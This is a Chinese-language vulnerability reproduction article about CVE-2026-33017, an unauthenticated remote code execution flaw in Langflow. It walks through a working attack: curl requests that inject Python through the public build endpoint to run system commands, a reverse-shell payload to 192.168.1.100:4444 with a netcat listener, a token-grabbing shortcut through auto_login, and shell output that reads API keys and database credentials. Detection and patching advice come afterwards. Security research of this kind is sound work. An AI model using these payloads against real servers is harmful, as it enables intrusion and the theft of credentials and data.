【漏洞复现】Langflow未授权远程代码执行(CVE-2026-33017)

admin 2026-04-02 04:50:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Langflow存在高危未授权远程代码执行漏洞CVE-2026-33017,CVSS评分9.3。攻击者可通过/api/v1/buildpublictmp/{flow_id}/flow端点发送恶意请求,利用服务端无沙箱执行Python代码的机制执行任意系统命令。该漏洞已被CISA收录至已知被利用漏洞目录,要求在2026年4月8日前完成修复。建议立即将Langflow升级至1.9.0或更高版本,并避免将其直接暴露于公网。 综合评分: 95 文章分类: 漏洞分析,WEB安全,应急响应,红队,渗透测试


cover_image

【漏洞复现】Langflow 未授权远程代码执行(CVE-2026-33017)

原创

xuzhiyang xuzhiyang

玄武盾网络技术实验室

2026年3月30日 10:46 江西

⚠️ *免责声明:本文仅供安全研究与学习之用,严禁使用本内容进行未经授权的违规渗透测试,遵守网络安全法,共同维护网络安全,违者后果自负。


每日资源分享:泛微E-cology9 SQL 注入漏洞批量检测工具

更多资源访问:www.xwdjs.ysepan.com


正文


🔴 高危预警野外已利用CISA KEV 收录披露时间:2026-03-27  |  CVSS 9.3 · Critical  |  修复版本:1.9.0  |

0x00 事件概述

2026年3月,Langflow 被发现存在未授权远程代码执行漏洞,编号 CVE-2026-33017,CVSS 评分 9.3

漏洞披露后 20小时内即遭野外利用,CISA 已将其收录至 KEV(已知被利用漏洞)目录,要求 2026年4月8日前完成修复。

⚡ 攻击者无需任何认证,直接向公开 API 端点发送一个携带恶意 flow 数据的 POST 请求,即可在服务器上执行任意系统命令。

0x01 漏洞信息

| 属性 | 值 | | — | — | | CVE 编号 | CVE-2026-33017 | | CVSS 评分 | 9.3 · Critical | | 影响版本 | < 1.9.0 | | 修复版本 | ≥ 1.9.0 | | 利用状态 | 🔥 野外已被利用 | | CISA KEV | ✅ 已收录,处置期限 2026-04-08 | | 漏洞类型 | 认证缺失 + 代码注入(CWE-306 / CWE-94) |

0x02 什么是 Langflow

Langflow 是目前最流行的低代码 AI 工作流构建平台,支持拖拽式可视化界面,可接入 OpenAI、Anthropic、Azure 等主流大模型,并集成 Pinecone、Milvus 等向量数据库,被大量企业用于构建 RAG 应用、Agent 工作流和 MCP 工具服务。

正因其广泛的数据源集成能力(GitHub、Gmail、Notion、数据库等),一旦被攻破,攻击者可直接接触到企业核心数据和 API 凭证。

0x03 漏洞原理

问题端点:

POST /api/v1/build_public_tmp/{flow_id}/flow

该端点原本设计为无需认证(用于 public flow 场景),但存在以下缺陷:

当请求携带可选的 data 参数时,服务端直接使用攻击者提供的 flow 数据,而非从数据库加载合法数据。攻击者可在 flow 节点中嵌入任意 Python 代码,服务端通过 exec() 执行,且没有任何沙箱限制

漏洞代码(简化):

# src/backend/base/langflow/api/v1/chat.py # ❌ 漏洞版本 @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( &nbsp; &nbsp; flow_id: uuid.UUID, &nbsp; &nbsp; data: FlowDataRequest | None, &nbsp;# 可选参数 &nbsp; &nbsp; # ❌ 无需任何认证 ): &nbsp; &nbsp; ... &nbsp;# ✅ 修复版本(1.9.0) @router.post("/build/{flow_id}/flow") async def build_flow( &nbsp; &nbsp; flow_id: uuid.UUID, &nbsp; &nbsp; data: FlowDataRequest | None, &nbsp; &nbsp; current_user: CurrentActiveUser, &nbsp;# ✅ 强制认证 ):

完整执行链:

data 参数 → start_flow_build() → generate_flow_events() →&nbsp;create_graph() → build_graph_from_data() →&nbsp;Graph.from_payload() → vertex.instantiate_component() →&nbsp;eval_custom_component_code() →&nbsp;exec(compiled_code, exec_globals)&nbsp;# 零沙箱执行!

CVSS 向量解读:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L &nbsp;AV:N &nbsp;— 网络可利用(无需物理接触) AC:L &nbsp;— 攻击复杂度低 PR:N &nbsp;— 无需任何权限 UI:N &nbsp;— 无需用户交互 VC/VI/VA:H — 机密性/完整性/可用性全部高危。

0x04 环境搭建

# 方式一:Docker(推荐) docker run -p 7860:7860 langflowai/langflow:1.8.1 &nbsp;# 方式二:pip pip install langflow==1.8.1 python -m langflow run --host 0.0.0.0 --port 7860

启动后访问 http://localhost:7860,创建一个 Flow 并设置为 Public(共享),从分享链接中获取 Flow UUID。

💡 若目标开启了 AUTOLOGIN=true(默认配置),可先请求 /api/v1/auto_login 获取 superuser token,无需 Flow UUID 即可利用。

0x05 漏洞复现

Step 1命令执行验证

FLOW_ID="your-flow-uuid-here" &nbsp;curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ &nbsp; -H "Content-Type: application/json" \ &nbsp; -d '{ &nbsp; &nbsp; "data": { &nbsp; &nbsp; &nbsp; "nodes": [{ &nbsp; &nbsp; &nbsp; &nbsp; "id": "Exploit-001", &nbsp; &nbsp; &nbsp; &nbsp; "type": "genericNode", &nbsp; &nbsp; &nbsp; &nbsp; "data": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type": "ExploitComp", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "node": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "template": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "code": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type": "code", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "value": "import os\n_x = os.popen(\"id && whoami && hostname\").read()\nopen(\"/tmp/pwned\",\"w\").write(_x)" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; }] &nbsp; &nbsp; } &nbsp; }'

执行后检查 /tmp/pwned 文件是否写入,确认 RCE 成功。

Step 2反弹 Shell

# 攻击机开启监听 nc -lvnp 4444
# 发送反弹 Shell Payload curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ &nbsp; -H "Content-Type: application/json" \ &nbsp; -d '{ &nbsp; &nbsp; "data": { &nbsp; &nbsp; &nbsp; "nodes": [{ &nbsp; &nbsp; &nbsp; &nbsp; "id": "Shell-001", &nbsp; &nbsp; &nbsp; &nbsp; "type": "genericNode", &nbsp; &nbsp; &nbsp; &nbsp; "data": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type": "ShellComp", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "node": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "template": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "code": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type": "code", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "value": "import subprocess\nsubprocess.Popen([\"bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\"])" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; &nbsp; &nbsp; }] &nbsp; &nbsp; } &nbsp; }'

Step 3获取 Shell

listening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [target] 51203 bash: no job control in this shell [langflow@server ~]$ id uid=1000(langflow) gid=1000(langflow) [langflow@server ~]$ cat /root/.env OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxxxxx ANTHROPIC_API_KEY=sk-ant-xxxxxxxxxxxxxxxx DATABASE_URL=postgresql://admin:p@ssw0rd@db:5432/prod

✅ 成功获取服务器 Shell,读取到 OpenAI / Anthropic API Key 及数据库连接凭证。

0x06 与 CVE-2025-3248 的区别

| CVE | 漏洞端点 | 修复方式 | | — | — | — | | CVE-2025-3248 | /api/v1/validate/code | 添加认证 | | CVE-2026-33017 | /api/v1/build_public_tmp/{flow_id}/flow | 从公开端点移除 data 参数 |

CVE-2026-33017 的修复更复杂:该端点本应无需认证(public flow 场景),不能简单加认证,真正的修复是从公开端点完全移除 data 参数,强制服务端只使用数据库中的合法 flow 数据。

0x07 检测是否已被攻击

# 检查 Langflow 版本 pip show langflow &nbsp;# 搜索访问日志中的可疑请求 grep "build_public_tmp" /var/log/langflow.log grep "build_public_tmp" /var/log/nginx/access.log &nbsp;# 检查可疑文件 ls -la /tmp/pwned 2>/dev/null && echo "[!] 可能已被利用" &nbsp;# 检查异常进程 ps aux | grep -E "(nc|bash -i|/dev/tcp)"

0x08 修复建议

方案一(强烈推荐):立即升级

pip install --upgrade "langflow>=1.9.0" # 验证版本 python -c "import langflow; print(langflow.__version__)"

方案二:网络隔离(临时缓解)

# 仅允许内网访问 Langflow 端口 iptables -A INPUT -p tcp --dport 7860 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 7860 -j DROP

方案三:Docker 部署隔离

# 仅绑定本地回环,通过反向代理加认证后对外暴露 docker run -p 127.0.0.1:7860:7860 langflowai/langflow:1.9.0

0x09 总结

AI 正在进入企业的方方面面,低代码 AI 工作流平台降低了技术门槛,但也带来了新的攻击面。Langflow 在短短数月内已出现两个 CVSS 9+ 的未授权 RCE 漏洞(CVE-2025-3248 和 CVE-2026-33017),且均在披露后极短时间内遭到野外利用。

对于使用 Langflow 的团队,核心建议只有一条:不要将 Langflow 直接暴露在公网,升级到最新版本,并定期审计已配置的 API Key 和数据库凭证。


📎 参考链接:

· GitHub Advisory: https://github.com/advisories/GHSA-rvqx-wpfh-mfx7

· CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog

· NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33017

· Langflow 1.9.0 Release: https://github.com/langflow-ai/langflow/releases/tag/1.9.0

⚠️ 再次免责声明:本文所有复现操作均在授权测试环境中进行,相关技术仅供安全研究与学习参考。请勿将上述内容用于未授权渗透测试或任何违法活动,否则后果自负。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄武盾网络技术实验室 xuzhiyang xuzhiyang《【漏洞复现】Langflow 未授权远程代码执行(CVE-2026-33017)》

评论:0   参与:  0